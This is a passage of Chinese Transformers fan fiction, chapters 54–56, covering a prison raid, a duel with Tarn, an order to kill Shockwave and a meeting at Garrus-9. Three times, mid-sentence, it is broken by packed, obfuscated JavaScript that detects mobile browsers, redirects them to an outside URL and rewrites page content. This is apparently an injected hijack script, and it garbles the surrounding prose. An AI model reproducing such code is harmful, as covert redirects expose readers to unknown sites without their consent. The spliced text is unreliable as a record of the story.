塞伯坦有如流动白雾的表面突然安静下来。 所有在宇宙中的塞伯坦人都看见了,在他们光学镜里映出的母星,此刻出现了至高之门的纹路。 【连接成功 传送完成。 …… 坐标:Revision 1 欢迎来到可能性的世界。】 54.第五十四章 麦卡丹油坊曾经有个活动,每喝一杯能量特饮就能获得一枚特殊硬币。 收集满七枚之后,就能获得一杯免费的饮品。 海格特曾经收集了六枚,但因为不常去油吧,所以最后一枚就没有收集到……之后变得很忙,也就没再想起来。 在那之后过了很久。 久到连发生过这种事本身都忘记了。 随着霸天虎与汽车人的战争进入白热化,中立派从塞伯坦大撤离开始,海格特和几乎所有的塞伯坦人,都失去了正常的生活。 算下来连已经过了多少年都记不清。 但就在某次任务结束,海格特按照惯例检查敌人的武器设备时,意外地在装甲的夹缝中找到一个发光的东西。 他本来以为是定位或者监听设备,但将其捡起来对着月光仔细查看,却发现了上面模糊不清的“麦卡丹油坊”图标。 这是一枚特制硬币。 “而且算下来,这是第七枚?” 可惜前六枚早就被他扔掉……不,不对。 “是留在遗址了。” 早在许多年前,当奥利安…或者现在应该叫他擎天柱,与威震天在谢尔玛桥上展开决斗时,紧挨着那座洲际大桥的麦卡丹油坊就已经连同周围的街道一起,在炮火中化为废墟。 在那之后,不少客人为了纪念这家店,将收集来的硬币熔铸成一个不大不小的麦卡丹雕像,放在旧址上以作纪念。 海格特也是献出硬币的其中之一。 他想了想,在已经平静的战场中央发起一个远程联络。 “任务完成了?” 接通时,对面传来警车一如既往冷静的声音, “是的,我获得了你说的那座霸天虎监狱的点位情报,”海格特汇报完情况,又说,“另外……你还记得麦卡丹油坊吗?” “怎么突然提这个?” “我发现了一枚属于那里的硬币,是不是该抽空回塞伯坦一趟,把它放在遗址?” “……” 警车沉默许久,然后淡淡说了一句: “你不是因为对这家店多有感情,也对收集硬币没有兴趣,只是对这种看上去富有感情的行动感兴趣对吧?” “嗯……也不是,”海格特很像否认,但还是在最后一刻改了口,“不,或许就是那么回事。” 警车听上去有些无奈:“正常人的纪念活动进行一次就够了,而且现在你该去找到的点位解救汽车人俘虏,目标是摧毁那座监狱,找到该找的人,结束后再进行下一次联络。” 简单的布置任务过后,他就结束了通讯。 “……” 而海格特还在看着那枚硬币。 像这样不知何时就失去了兴趣的情况,漫长的时间里发生了不止一次。 不知从何时开始,他发现自己在意的东西越来越少,到了现在,就连目睹火种熄灭,心里都无法再激起太多涟漪。 “……但其实。” 对着已经断联的信号,海格特盯着手里模糊不清的硬币,喃喃道, “当时还是挺宝贵的。” 细微的声音,被横扫而过的荒凉风声一并卷走。 然而任务就是任务,于是在稍作整备后,他立刻动身,赶去那颗叫碎核的监狱卫星。 哪怕是望文生义,其实也差不多能知道这座监狱是个什么样的地方。 海格特在宇宙中独自航行,在距离近到能用肉眼勉强看见那坐监狱上的火种时,他就发现了成片显露出极端痛苦情绪的火种波动。 它们展现出了比死还要更深的痛苦。 换作过去,他可能已经被这种场面刺激得发了疯,然后失去理智地跟始作俑者拼命。 然而现在,首先浮现在脑海的却是别的事。 “这里是装了反认知磁场吗?航线居然会自动偏离。” 新科技真不得了。 如果不是时刻通过火种定位,他大概就在不知不觉间错开了航线,而且还以为自己走的是正确路线。 怪不得汽车人发现不了这个地方,藏得这么隐蔽,的确需要能直视火种的他来调查。 也就是说,自己对警车的计划来说是不可或缺的。 ——每当这样想的时候,胸口还能感到一丝满足。 小型飞船很快突破大气层。 进入地面雷达的监测范围后,霸天虎的攻击开始了。 很快被击中的飞船飘摇欲坠,而海格特直接打开舱门跳了下去。 个人的武力是有限度的,警车曾经测算过擎天柱对总战局的影响,结果是7.65%,而海格特能造成的影响其实更低。 虽然低,但只要“使用方法”正确,他就能发挥出更大的作用。 ——比如绕开一切探测设备,对敌方指挥展开斩首行动。 因为没有基本的生命活动,那些针对塞伯坦人的反制手段几乎都对他不起作用。 海格特像飞船的碎片一样坠落在监狱的一隅,他现在可以改变体表的热量和电磁信号,所以逃过了所有监控。 有如幽灵般潜入进去。 —— ———— 霸天虎监狱-碎核。 “空间传送器”内部。 “听到了吗?”跟着汽车人俘虏队伍一起进来的刹车四下张望,“刚刚有好大一声动静,有什么东西炸了。” “我不知道,但不管你怎么修的这个地方,最好都检查一下空调。” 在极度拥挤的空间传送器里,夸克皱眉打量四周,对刹车抱怨着。 “太热了。” ——话虽如此,但忍一忍还是值得的。 作为被关押在这座监狱的汽车人,他们即将被霸天虎派往塞伯坦前哨站117,据消息,那里即将变成新的塔恩城,而他们是作为囚犯过去劳作的。 无论到哪,都比留在这不见天日的监狱行星等死要好。 “这不能怪我,我也不清楚里面的状况,” 刹车若有所思,俯身检查起地板上的痕迹。 “我只是在外面修缮了能量转化器,他们从来没让我看过传送器内部。” 在那个身份神秘,戴着紫色霸天虎面具的典狱长的要求下,他花了好几天时间维修这个巨大的装置,除了这东西启动需要消耗极其巨大的能量之外,别的什么也不清楚。 只知道这地方被叫做空间传送器,能把人送往别的星球。 所以刹车在进行一番努力维修之后,鼓足了勇气向典狱长谈判,让自己和夸克都得到了传送的名额。 排队进来之后,门关了,起初没有任何事情发生,只有逐渐变热的空气。 密密麻麻的人群中,焦躁不安的情绪开始蔓延。 “好吧,无论如何我得感谢你,”或许是为了让自己冷静下来,夸克扶了扶镜片,整理措辞,“是你的智慧和工作换来了这些回报。” 但是刹车却沉默了。 “可是,这不应该。”他近乎是在自言自语,近乎神经质地进行测量和计算,“这地方,这些凹槽,是用来排出……液态金属的?” “液态金属?你在说什么?” 夸克想进一步询问,但下一秒,巨大的音乐声就回荡在整个传送器内部。 是至高天组曲。 这支用来纪念光明的战役,充满荣耀的曲子,此刻以音频接收器承受范围之外的巨大音量,暴力般地播放着。 所有人痛苦地捂着头,而就在这时—— “刹车!?” 在理论家的视野中,夸克慌张伸来的手骤然消失,眼前的景色兀自变幻,下一秒,周围的温度和光线都提示他自己已经不在那个密闭的空间传送器内了。 这是一场针对个人的紧急传送。 自己是什么时候被装上传送芯片的?刹车这样想了几微秒,突然听见了那个低沉而温和的声音。 “很抱歉把你拽出来。” 是典狱长的声音,他就靠坐在旁边的监控屏幕旁,手里轻轻晃着一杯能量饮料。 “但是我想了想,还是让你亲眼看着自己的杰作比较好……哦,看你的表情,大概已经猜到是怎么回事了?” 空间内不自然升高的热量、用来流动液态金属的凹槽、还有拥挤的人群。 人群。 或者说,液态金属的……原材料。 所有的关键词,刹那间将刹车带往一种可能性。 ——“那不是空间传送器,而是个……熔炉?” 他几乎不知道自己是怎么把这句话说出来的。 “西曼兹大/屠/杀时期的产物,很熟悉吧?”戴着有如霸天虎图标的面具的典狱长轻声细语道,“神奇的是,只是改变外观,再换个名字,大家就不认识它了。” 刹车听不清自己喊叫了些什么,他想上去控制机器停止进程,但下一秒就被卫兵摁倒,跪坐在监控前。 “睁开光学镜。” 典狱长的声音似乎有某种无法违抗的力量。 “好好看着,既然你信仰元始天尊、终天大帝,还有谁来着?总之,你应该听说过类似的景色。” ——“炼狱的景色。” 瞬间,熔炉内的温度急剧升高,热浪扭曲了空气,又或许是里面的人本身开始了扭曲?刹车不清楚,哪怕火种传来撕裂般的剧痛,光学镜依旧无法关闭,他眼睁睁看着眼前化为一片地狱般的赤橙色。 然后—— “砰!!” 伴随一声轰然声响,那刺耳的至高天组曲停了下来。 传送器停止了加热,密闭空间的门被打开了,热量从四周极速散去,发出铺天盖地的白烟,一时间只能听到里面被灼伤的人奋力置换空气和逃跑的声音。 但不等看清里面的状况,监控室的光源也被切断了。 在刹车还没反应过来的半秒之内,他就被某人抓住手腕,趁着四周黑暗拽离了监控室。 在奔跑了一阵后,他才找回自己的思维信号,看清眼前的人。 “海……” “跑出去,自己跑。” 留下这句话,那黑色涂装的机器就打算回头。 “等一下,你去哪!?” “找这里的控制人谈谈。” “你是说典狱长?你疯了,向他挑战,哪怕有异能你也会毫无还手之力,因为那混账——” “我知道。” 没有解释太多,海格特只是看着他,留下这样一句话后就转身离开。 这里的存在是一个错误,而他的存在意义就是帮助警车消灭错误。 越过长长的走廊,轰开金属门,再击败几个霸天虎“卫生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262098|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小组”的成员,他最后看到了那个在白烟中缓缓出现的高大身影。 “丧门神。” “啊,我在想是谁,”看到海格特,已经完全看不出曾经模样的丧门神抬了抬手,“这不是老师的旧情人吗?我暗杀名单前排的人居然来亲自过来,真是荣幸。” 他的声音听不出情绪,但那双透过面具,洒下猩红色光芒的光学镜却散发着宛若异质的扭曲。 “你阻碍了美妙的乐声和色彩,我会让你以最痛苦的方式付出代价。” 瞬间,整个监控室连带着建筑,化作有如异空间般的地带。 数秒内,一切都被破坏了。 爆炸所产生的烟尘、暴雨般倾泻散落的炮火、碎裂的土石,在红色的天光下,建筑里的金属支架被弯曲到失去意义的弧度,支离破碎的卫兵,散落满地的外壳……以及在那之中,正在战斗的两个身影。 “不用你那引以为傲的异能吗?”塔恩架起高能武器,“有传言说你已经失去了那个能力,看来是真的。” “……” 海格特没有回答,算是一种默认。 他的机体中虽然做了大量用来战斗的轻量改装,变成了字面意义上的活武器,但最关键的,能让火种暂时上传从而使人昏迷的能力却消失了。 他彻底断开了与至高之门的连接。 或许也是出于这个原因,他不再害怕伤害到塞伯坦人,不再避讳火种的熄灭与死亡,也不再因为火种的闪耀而喜悦。 “他们不是你的同伴吗?” 看着又一个被塔恩的炮火波及的霸天虎卫兵,海格特有些疑惑。 似乎是觉得这问题太过愚蠢,塔恩冷笑一声,没有回答。 “果然你很残酷,”深色涂装的机器展开护盾,挡开了数道攻击,“像你这样的霸天虎,没办法为塞伯坦展现出未来。” 双方都将彼此视为必须修正的错误,因此—— 厮杀继续。 哪怕肢体被轰碎,海格特也依然在战斗,他身上被配备了最新的武器,虽然体格比塔恩小了不止一圈,但经过升级的力量和速度几乎毫不逊色。 虽然能让机器停止运作的异能很棘手,但对现在的海格特来说,也不是完全没有反制手段。 “我是否能理解为,汽车人果然在偷偷研究自己的六阶战士?”被轰去半个面具的塔恩依旧从容地开口。 “你误会了,我没有加入任何派别,”海格特一边解释,一边将自己的手臂重新接上,“貌似是出于一些政治上的考量,我也不太懂。” “呵,”典狱长冷笑一声,“这可真是完美的想法,一个不属于任何阵营的杀手,出于个人情感为汽车人效力,想必在战争结束后,最终面对审判时,他们可以方便快捷地把你从汽车人里切割出去丢掉。” “是啊。”海格特理解地点了点头,用一种‘那也没办法’的轻松语气回应,“虽然在我看来是多虑了,但他总是很在意这些地方。” 毕竟警车在汽车人的道德和正确性上,总是严谨到偏执的地步。 总而言之,那些话没有刺痛他。这反倒令塔恩有些不快。 逐渐升温的战斗波及了几乎整颗卫星,在一些被破坏而露出内在的建筑物一隅,海格特偶然看到了正在被重新熔铸成型的塞伯坦人机体,大概是为了制造霸天虎的新部队。 而组成它们的液态金属,曾经都是进入那座熔炉的汽车人俘虏。 就像…… 那些被铸成雕像的硬币一样。 “……” 过了许久之后。 这个不知疲惫,不知生死,只知道毫不犹豫地听从指令,哪怕四分五裂也能修复回来……完美的战斗机器。 “啊。” ——从治疗舱里睁开了眼睛。 海格特从那茧一样的舱室里挣脱出来,几乎是坐起来的一瞬间,就迫不及待地问向旁边的人。 “成功了吗?我是说任务。” “……” 警车皱起眉。 他看着眼前表情堪称人畜无害,体型也和自己差不多的塞伯坦人,又看了眼旁边的数据板。 “完成度……通过。” “太好了。”海格特听上去松了口气,甚至露出微笑。 “虽然没能将所有霸天虎抓捕,但你已经破坏了一个六阶战士的行动机能,救出几百名汽车人俘虏,废弃了一整座集/中/营,这下至少能为汽车人的行动争取到十年的时间,霸天虎恶行的曝光也能获得更多宇宙领域的帮助。” “那我们去庆祝一下?” “不行,还有接下来的任务。” “哦,”海格特点头,“那也好,没有比这个更好的庆祝了。” “你都不问问是什么吗?” “不需要吧,我相信你做的事都是为了终止战争而纠正错误,而且,林格肯定会为你在做正确的事而高兴。” 他说着就去整理装备,因为背对着警车,所以没注意到听见这句话的战术家,有一瞬间露出复杂至极的神色。 “所以,只要你还对这个世界抱有变得更好的希望,那无论什么任务我都会去完成。” “是吗?” 身后传来警车毫无感情的声音,在幽暗的治疗室内回荡。 “——那你去把震荡波杀了。” 55.第五十五章 “以上就是我的参数设计,详细内容已发送至各位的内线数据邮箱。” 早些时候,万物之流号,会议室。 随着警车话音落下,众人都陷入短暂的沉默。 突然安静下来了。 热破茫然地眨了下光学镜,然后皱起眉,小声问旁边的通天晓:“怎么大家都不说话了?你在干嘛?” “我在对4.3.1和5.4.2这两条分支参数进行修订,之后展开讨论。”通天晓侧过视线看向他,“你对此有什么看法?” “我吗?我没什么意见。” 浅蓝色涂装的执法官一言不发地盯着他。 “呃好吧,其实我只听见他的最后一句话。”热破实话实说,“又不是只有我一个这样。” 通天晓向在场的其他人看去。 一直走神偷偷喝饮料的充电器尴尬地移开视线,不知道在忙什么的小诸葛哼着歌,而旋刃早就睡着了,现在刚醒就开始骚扰坐在他旁边的刹车。 通天晓忍不住叹了口气:“现在是紧要关头,虽然船上目前属于法律和制度要求的真空地带,但请你们认真一点。” “哪怕世界毁灭,我估计有些人也严肃不起来。” 开路先锋为了缓解气氛笑了笑,刚说完又有点后悔,看向被晾在一旁的警车,同时压好桌子。 但是,那平日严肃到不行的战术家却罕见地没有半点生气的意思。 “如果有谁没听懂也没关系,”警车平静地讲解,“我所有对世界模拟的参数设计都指向两个方向:一是切断海格特与除我以外所有人的社会关系,二是让他失去影响战局的能力。” “听上去是种酷刑。”充电器嘀咕。 “警车居然没唠叨?一定有哪里不对。”热破忍不住喃喃。 “我看他只是认为现在应该重视效率,等日后算账。”旋刃幸灾乐祸地说,“简而言之,你完了。” “呃,我可以提个问题吗?” 一个声音突然插入对话,虽然音量不大,却很巧妙的终止了混乱。 警车看向发言的人,是那个橙色涂装的心理医生。 “请说。” “你的两条方向都是针对海格特这个个体的,所以目的是降低至高之门对世界发展的影响,我可以这么理解吗?” 可以说是相当一针见血。 “当然,这位……”警车点了下头,用短短半秒在数据库里翻了一下对方的名字,“荣格医生。” 尽管猜到对方短暂停顿的含义,但荣格好心地没有戳破。 “我需要提醒的是,虽然模拟世界里所有人都是虚拟的,但作为对决者的你和他是例外,我担心这对你们的心理状况会造成影响。” 破坏一个人所有的社会关系。 这和杀人也没有太多区别。 “我知道您的忧虑,但首先,海格特还有与我的关系作为心理支撑。” 无视天火那极度不赞同,写满了“你怎么可以这样”的目光,警车一本正经地继续道。 “我不确定模拟未来的过程能否被你们看到,但既然海格特强调公平性,那就多半是会的。现在我们的首要目的,是确认他的模拟是否具有正当性——如果只是让海格特停止行动,塞伯坦人自己就赢得一个良好的未来前景,他的数据化就没有理由了。 更重要的是,如果在你们看来,某些影响未来的事存在被他刻意操纵的痕迹,我们就需要改变方针。 当然,以上内容都是计划性的,我在出发后不会让他知道这些。” 合理到不像是短短几个小时就思考出来的内容。 通过献出自己的模拟机会,将效率利用到极致,全方面了解对手,的确是这个战术家的风格。 所以没有人提出质疑。 然而,在商讨和修改完参数的细节,离开会议室之前警车忽然回过头。 那里还剩下零星几个仍在讨论的人,没有什么异常。 “……” “怎么了?”同样在离开会议室的救护车问他。 “不,就是觉得有人在看我。” 救护车想了想:“哦,有可能是那个,红蜘蛛的幽灵。” “或许是。” 这的确是个合理的解释,于是警车转身离开。 空无一人的会议室内,微弱的红光在角落里闪动。 “那家伙闻上去真是矛盾,”机器狗的声音从房梁上的阴影中响起,“控制欲和个人情感,还有愤怒,强烈得真让人受不了。” “赞成。”声波淡淡回应。 其实哪怕不读心,他也大致能明白警车是怎么想的。 他并非全然相信塞伯坦人能创造出良好未来,一方面觉得战争很愚蠢,另一方面又比谁都清楚它必将发生,而且无法阻拦。 至于愤怒的来源……是出于报复。 选择降低海格特的影响,将尽可能贴近原本的未来展现出来,不只是展现给观看者,更重要的是让自己亲身体验。看似无私献出自己的机会以获取情报,实际上只是为了逃避那个“如果做了行动,也可能失败”的结局。 而警车明显也意识到了自己的逃避,所以, ——瞧瞧你自己都做了什么。 在心里对自己这么说着。 做着近乎自虐一般的举动。 那我呢? 声波思考着。 我对这个世界,对海格特是怎么想的,又会怎么做呢? —— ———— 两日后。 警车的世界推演已经进行大半。 此时此刻,万物之流号。 “你在记述中用了22次‘爆炸般’,15次‘冲击性’,还有5次根本不知道为什么突然使用的‘万众一心’。” 通天晓关上热破的数据板,将视线转向他。 “呃,有什么问题?”尼昂的年轻领导者问道。 “没有,”通天晓面无表情,“但你会因此被分配到宇宙救援的队伍里,停止观测。” “啊?现在情报一个接一个地爆炸般到来,这些冲击性的片段无法翻录,只能进行原始文字记录,你确定我们有余力在这种需要万众一心的时刻分摊人手?” 热破用短短一段话证明了他真的很喜欢这几个词。 “话说回来,为什么老通你不去观测?就喜欢坐办公室?” “因为我在战争的早期就死了。” “呃。” “似乎是这个原因,导致之后发生的事几乎都看不清,无法继续记录。” 热破顿时露出一副吃了苦味能量块的表情:“抱、抱歉啊,我不知道……” “无妨,我还可以做很多事,”通天晓展示了一块动态屏幕,“比如当前的世界局势。” 数据屏上是三项数据,上面写着: 【人口数量:基本持平,略高。】 【其他星球生命数量:基本持平。】 【资源等级:略低。】 “之前探长以塞伯坦人的名义向广域宇宙发起通讯,很快得到了几个回应,”趁着热破观察屏幕的时间,通天晓继续道,“其中有辞职后去月卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276124|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二工作的红色警报,以及几个在附近卫星的医疗单位,你需要加入队伍把他们带回来。” “等一下,这是让我离开?轮不到你决定这个吧!”热破不满地嚷嚷。 “那你认为谁可以做决定?” “当然是擎……!” 热破几乎是毫不犹豫地将视线转向奥利安。 但再看见那与模拟世界里有些差异的身影后,他又把话咽了回去。 “怎么了?” 注意到视线的奥利安问。 一时间,热破和通天晓都没有说话。 “你能不能做个决定?”火焰涂装的塞伯坦人说道,“毕竟你,啊不行今天我卡壳的次数太多了,老通你来!” “根据测算,海格特的模拟可信度极高,”哪怕没有他说,通天晓也已经看向奥利安,“所以你大概率能够成为新的领袖。” 奥利安张了张嘴,似乎是下意识想要反驳。 但很快,他注意到周围人的眼神。 除了信任和期待之外,还有一种难以言喻的疲惫。 现在不是否认的时候。 于是经过一阵思考后,他叹了口气。 “我知道现在大家压力都很大。”奥利安说,“如果我进行指挥能让你们专心工作,那就这么做吧,但无论如何,现在别将我视为领袖。” 然后,以一种言出必行的速度,他几乎是立刻进入了状态,委托天火作为小队长,救护车、千斤顶一起暂时离开飞船,一日之内往返。 但小队人数不够,战斗单位太少了,还缺至少一个人手。 奥利安本想让开路先锋加入队伍,但后者却拒绝并给出了理由。 “我得看着点小诸葛和刹车,”他看上去有些苦恼,“模拟出来的内容有点吓人,我怕自己一走他俩就会杀人,立场型异能不就是这种时候用的吗?” 理由充分,于是奥利安只能再次看向热破。 “唉,虽然我还有想知道的事……” 毕竟是自己认定的领导者,后者极为不情愿地准备答应,而就在这时,另一个声音介入了对话。 “我能做点什么吗?” 是已经结束治疗,暂时被留船查看的死锁。 他和其他人一样,观看了至高之门上的模拟情况。 如果说此刻船上心情起伏程度最大的人是刹车和小诸葛,那最复杂的大概就是他了。 想起之前在模拟中看到的关于新水晶城和飞翼的事,死锁就感觉火种堵得慌。 一方面他此刻还是对威震天的理论深信不疑,另一方面,又开始对自己未来的行为感到困惑。 什么都不明白。 哪怕停下来,也只是感到一种近乎恐怖的茫然。 于是,他想起了在生命中最初救了自己的那个人。 如果跟着救护车,能否得到答案? 他这样想着。 很多人提出了反对意见,毕竟死锁是个霸天虎,哪怕是与其相处几日后变得通情达理的铁皮,也提出给他安装威慑芯片后再放人这样的建议。 但是,奥利安却没有采纳。 “那就用你的武器保护好科学家和医生。” 他将手轻轻放在这个年轻人的肩膀上。 “拜托你了。” 听闻此言的死锁直愣愣地睁着眼。 疑惑。 惊讶。 以及除此之外,一种隐约的预感。 虽然之前只是对模拟内容模糊的想法,但或许, 眼前这个人,真的会成为领袖也说不定。 56.第五十六章 “‘震荡波’?” 海格特若有所思地看向一旁,因为站在低温治疗舱旁边,他说话时从机体内置换出的空气转瞬间凝结成霜。 “我需要确认一下,那个人现在作为中立派一直在各种组织之间斡旋,你说‘杀死’,是要让他火种熄灭的意思?” “是的。” “我就直说了,那会出问题的。” 明明之前的所有任务,警车都会说些模棱两可的指令,比如“调查霸天虎的设施”、“去看看某卫星上的战场”、或者“救下某战役中的生命”之类。 “我认为你是为了在战后公开的时候能不留下道德瑕疵,还是说原来不是这样?” 布置这种明显的杀人任务,毫无疑问会落人口实。 警车淡淡开口:“他接下来有拜访格拉斯九号的议程,所以在明面上,你这次的任务是‘调查格拉斯九号监狱中,艾奎塔斯审判机器的运作情况’。” “明面上是艾奎塔斯,实际上的目标是震荡波?” 听见这话,警车用一种早有所料的目光看向他。 “你说过会无条件相信我的命令,所以我才不做那些多余的任务说明,结果看来,你的忠诚度和可信度都没有那么……” “哦,想起来了,”海格特忽然敲了下手掌,“是叫‘共时性’,荣格医生以前提过这个词。” “……什么?” “之前丧门神也提起过震荡波,突然周围的人都说起这个名字,这种巧合好像有个专有名词,”海格特对他笑了一下,“我刚刚是在想这个,抱歉,既然你认为没问题就好。” 然后他就没再多说什么,自然而然地继续进行自检。 因为在与丧门神的战斗中几乎损坏了大半机体,所以很多东西都得重新装上去,有些麻烦。 但刚才当他说起那个几乎至自己于死地的敌人时,语气却和说出朋友的名字无异。 警车不由得停下整理情报的工作,打开数据板查看了海格特的思维模块状态,上面显示它并未损坏或遭到外部篡改。 “你能保证下得去手?” 海格特愣了一下:“对谁?” “还能是谁,”警车翻看着数据板,低声说着,“介于你们曾经的关系,我很怀疑。” “这个是叫‘吃醋’?你可以不用这么在乎我的。” “注意你的用词。” “哈哈抱歉,我是曾经和震荡波关系很好,也很感激他为林格做的事,”机器毫不犹豫地承认了,语气温和,“但是,没有好到哪怕违背你的愿望也不去杀的程度。” “……” 他说这句话时坦然得过分,让警车不由得愣了一下。 汽车人和霸天虎的战争已经过了百万年,很多人死了,又有很多新火种诞生。 久远的事情已经变得模糊不清,但眼前这台机器从始至终没有丝毫改变。 警车想起在中立派从塞伯坦大规模离开的那个夜晚,海格特对他说的话。 【“我没办法让所有的塞伯坦人获得幸福的世界,但是至少要为了曾经的所作所为而赎罪,如果你消失了,这是无论如何也没办法完成的。” “所以从现在开始,我会为了完成你一人的愿望行动,别的什么都不重要。” “在抵达你心目中那个美好的世界之前……不要让我失去存在意义。” “你是我最后的宝贵之物。”】 他说那句话的时候,到底是在对自己说话,还是在对作为林格遗物的火种说话……警车不想去分辨。 或许是被那双浅色的光学镜所迷惑,他只是开始用命令的口吻让海格特从此听从自己的指令。 甚至,最后走到了杀人这一地步。 不,对于他们种族那愚蠢的自相残杀的效率来说,不如说现在才走到这个地步已经是奇迹。 警车稍稍闭了下光学镜,再次睁开时,又回到了冷酷无情的战术家状态。 “艾奎塔斯是一座超级计算机,我参与了它的制作,它记录着战争中每一个塞伯坦人的犯罪信息,并将其通过数学算法进行编写,以此计算罪责程度,按理来说在战后才会被使用。但我有消息得知震荡波之前去找泰瑞斯特大法官商谈,要求重启审判程序,这次他会备份艾奎塔斯的数据,在研究后做出进一步行动。” “那直接破坏艾奎塔斯会不会更有效率?” “……当然是有不能破坏它的理由。”警车皱起眉,“而且从大局来看,这是震荡波第十二次做出对汽车人极端不利的行动,毫无疑问,他已经倒向霸天虎一边,所以我需要让他停止对战局的干扰。” 仅仅是这样的理由就要杀人,似乎有些武断。 警车担心的应该另有其事,但海格特没有多问,只是点了下头。 “那我就出发了,你多保重。” —— ———— 艾尔巴(Elba)星系,格拉斯九号监狱。 这座戒备森严的设施如今由汽车人巨无霸福特管理,由于被送到这里的几乎都是塞伯坦人里最危险的重刑犯,所以会将犯人的火种抽离机体,单独保管在储存中心里。 “这里一定很冷清。”海格特说。 “是很少有人来,但你不是这个周期的第一个访客。” 虽然说着话,但巨无霸福特头也没回,只是一直往前走。 “还有其他人?”跟着他的深色机器明知故问道,“我听说擎天柱和天火他们最近来过,还留下一个大家伙,但从新闻来看他们应该已经离开了。” “哪怕有警车的认证,你也无权获得关于这方面的情报。”典狱长冷硬地开口,“还有你提到的两位不是访客,而是上级。” “噢,抱歉。” 或许是海格特身份的特殊性,让这位在战争中诞生,又在西/曼/斯大屠杀里以剿灭众多霸天虎而闻名的汽车人没有任何放松警惕的意思。 一旁的新闻里放着曾经地下电台奈西斯的英雄——录音机的奇迹归来,直到它说完,福特才再次开口。 “我们到了。”他在一间会客室门口站定,“另一个访客也等在里面,我会审核你们的资料,然后决定是否将你们带往艾奎塔斯的面前。” “已经走了三个流程了,还要审核?” “这只是个开始。” 留下这样一句话后,巨无霸福特就转身离去。 海格特微微叹了口气,推开会客室的门。映入眼帘的是和走廊一致的冷硬风格,但灯光明亮,还有摆放整齐的桌椅,以及…… “好久不见?” 那个正朝自己微笑着看过来的身影。 是震荡波。 这个科学家又换了新颜色的涂装,像是对自己的到来早有预料,丝毫不意外地打着招呼。 海格特的动作有一瞬间的停滞,但又立刻恢复,他自然地走进会客室,然后坐在震荡波的对面,嘴角扬起几乎是同样弧度的笑容。 “好久不见。”他说道,“见到你真高兴,林格的事情我还没有好好向你道谢呢,真的谢谢你,给了他有意义的结局。” “意义?” 似乎是没料到海格特热情的反应,科学家像是没听懂般重复了这个词。 “有什么问题?” “……不,就是有点在意。”震荡波立刻改变了话题,“你是为了艾奎塔斯而来?还是组合金刚?” “艾奎塔斯。” “那就是警车让你来的。” “嗯。” 这没什么需要隐瞒。 “……这样你觉得没问题吗?一直听他的话去工作,我不觉得这是什么好差事。”震荡波说,“随便换另一个人,估计早就发疯了,也就你还能忍受这么久。” 然而,像是觉得这样的对话毫无意义一般,海格特没有回答,只是轻轻点了下头。 于是震荡波只能叹气。 这样的对话其实不是第一次了,自从战争开始后,他无数次问过海格特相似的问题,当面的,线上的,让其他人代为劝说的,但答案永远只有一个,那就是机器永不背叛自己认定的人选。 谈不下去,只能结束这个话题。 气氛微妙地沉默了一阵。 “算了,这次我也不是为了劝说你而来,”最后还是科学家率先开口,“这里是格拉斯九号,这些年监狱的数量增加了很多,同理还有方舟的数量也是,建造的速度越来越快了。” 他说着调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284038|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一份数据,上面详细记录着这些年科技进步与人口增加的情况。 “能被探索的宇宙范围变得越来越大,各种领域都在进步,你对此有什么看法?” “我觉得不奇怪,毕竟都过去那么久了。”海格特说,“有哪里不对吗?” 格拉斯是第九号,最新的方舟好像已经到了三四十号,百万年前如此珍贵新颖的设施,如今却显得习以为常。 “时间过了很久,但世界没有随之变得更加广阔。反而塞伯坦人的战争持续升温,将炮火波及到更多的行星和种族,从我们的种族层面来说,反而像是时间凝固了一样,这里让我感到一种异样感。” 总觉得震荡波说话的时候,视线像是在看向什么很遥远的地方。 “你说时间凝固?” 海格特思考了一会儿,最后还是摇头。 “我没有这种感觉。” 不需要去思考,这世界上没有永不消亡的东西,总有一天战争会结束,警车所向往的那个充满秩序和光明的社会迟早会成为现实。 为了这个目的。 眼前之人,是需要铲除的对象。 他在心里思考起该怎么动手,以什么理由和方式。 那颗热烈燃烧的火种,一如他们初次见面时那般。 “那就当是我自言自语吧。”完全不知道他意图的震荡波笑了笑,又注意到海格特的视线,“怎么了?在判断我又没有说谎吗?” “不,我只是在想,林格的事情我也不能只是停留在口头道谢,如果你想要什么回报,可以随时跟我说。” 如果这就是结束的话,至少等到报恩之后再动手。 海格特是这样想的。 “那既然如此,你就不要再听警车的命令了,到我这边来。” 震荡波说得毫不犹豫。 “抱歉,容我更正一下,除了这个。这是做不到的,是我的错误导致他的火种诞生,那我就会负责到底。”海格特垂下视线,“如果他不幸离世,到时候我再考虑。” “逻辑告诉我那时你跟他一起销毁的可能性更高,所以他到底有你什么把柄?让你这么死心塌地的。” “请不要说得好像警车是恶人一样。” 震荡波抬了抬手表示投降:“但现在会把他当成道德模范的也就只有你了。” 